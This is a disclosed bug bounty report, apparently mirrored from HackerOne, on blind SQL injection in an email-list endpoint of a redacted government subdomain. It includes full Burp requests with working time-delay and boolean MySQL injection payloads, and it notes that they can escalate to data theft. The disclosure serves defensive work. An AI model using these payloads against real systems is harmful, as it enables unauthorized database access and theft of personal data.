Skip to content
SQL injection Disclosed report Beginner

Blind SQL injection on ████████

A POST parameter on an email-list endpoint was concatenated into a SQL query without sanitisation, so an attacker could inject time-delay and boolean conditions. This allowed the researcher to confirm blind SQL injection and infer the database version, with the potential to read or steal data.

alyssa_herrera Follow

Originally disclosed on HackerOne

  • Triaged in 10 days
  • Fixed in 6 months
  • Disclosed after 20 months

Summary by the researcher

During my previous SQL injection on a similar domain, I discovered another sub-domain that had the same exact vulnerable end point. I was able to exploit it in a similar fashion as the previous website and discovered it shared the same DB as the previous sub domain.

The report

Summary: I discovered that a post request made to https://████████/elist/viewem6.php is vulnerable to SQL injection and is quite clearly vulnerable as I was able to induce a 2 second hang on the web page. Additionally I was able to discover the mysql version with a true/false condition. Description: A post request is made to hhttps://████████/elist/viewem6.php with the following parameters, [email protected] As to not break the rules of engagement, I used a sleep query and Boolean based commands to clearly and definitively demonstrate the vulnerability and the severity of it.

Impact

Critical

Step-by-step Reproduction Instructions

In burp suite we can set a repeater request as followed. Target set as https://████/ POST /elist/viewem6.php HTTP/1.1 Host: ████████ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://███████/elist/email_escribe.php?type=R Content-Type: application/x-www-form-urlencoded Content-Length: 61 Cookie: v1st=A9532F64A9E711AF; PHPSESSID=1796d85a30d3addf5934c1f0fafec529 Connection: close Upgrade-Insecure-Requests: 1

[email protected]'%2b(select*from(select(sleep(2)))a)%2b'

Observe a 2 second hang. vs

POST /elist/viewem6.php HTTP/1.1 Host: ███ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://█████████/elist/email_escribe.php?type=R Content-Type: application/x-www-form-urlencoded Content-Length: 61 Cookie: v1st=A9532F64A9E711AF; PHPSESSID=1796d85a30d3addf5934c1f0fafec529 Connection: close Upgrade-Insecure-Requests: 1

[email protected]'%2b(select*from(select(sleep(0)))a)%2b'

Additionally we can detect version of the mysql by using the following request

POST /elist/viewem6.php HTTP/1.1 Host: ██████████ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://██████/elist/email_escribe.php?type=R Content-Type: application/x-www-form-urlencoded Content-Length: 61 Cookie: v1st=A9532F64A9E711AF; PHPSESSID=1796d85a30d3addf5934c1f0fafec529 Connection: close Upgrade-Insecure-Requests: 1

[email protected]'%2bIF(MID(@@version,1,1)=4,sleep(2),1)=2%2b'

vs

POST /elist/viewem6.php HTTP/1.1 Host: ████ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://█████/elist/email_escribe.php?type=R Content-Type: application/x-www-form-urlencoded Content-Length: 61 Cookie: v1st=A9532F64A9E711AF; PHPSESSID=1796d85a30d3addf5934c1f0fafec529 Connection: close Upgrade-Insecure-Requests: 1

[email protected]'%2bIF(MID(@@version,1,1)=5sleep(2),1)=2%2b'

We can then discover the version of the DB, we can use queries like this to further discover data.To specify these two queries will demonstrate a true or false query. True scenario will result in the Database sleeping for 2 seconds, false it won't sleep, using this logic, I was able to evaluate if the website's Mysql version started with 4 or 5. As I said above it was possible to escalate from simple time queries to reading data and executing other commands by combing sleep queries with true/false statements.

Product, Version, and Configuration (If applicable)

N/a

Suggested Mitigation/Remediation Actions

Sanitize user input and use stored procedures

Impact

An attacker would be able to read data and steal data in the Database on this website leading to PII leakage and additionally may lead to the website being compromised completely

The original report as published on HackerOne, by alyssa_herrera. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application builds SQL queries by concatenating the user-supplied email parameter directly, without parameterised queries or sanitisation.

Impact

An attacker could read and steal data from the database, leading to PII leakage and potentially full compromise of the website.

What the attacker needed

No authentication required

How it was found

  1. Send a POST request to the email-list endpoint with a normal email value in the rememail parameter.
  2. Replace the value with a time-delay condition and observe a two-second hang.
  3. Send the same request with a zero-second delay and observe no hang.
  4. Use a boolean condition on the database version to make the response sleep only when the condition is true.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The website takes an email address from a form and puts it straight into a database command. By adding extra database instructions to the email field, an attacker can make the database wait or answer yes/no questions. That lets them slowly pull out information they should not see.

What is SQL injection?

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.

More by alyssa_herrera

View all

28 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.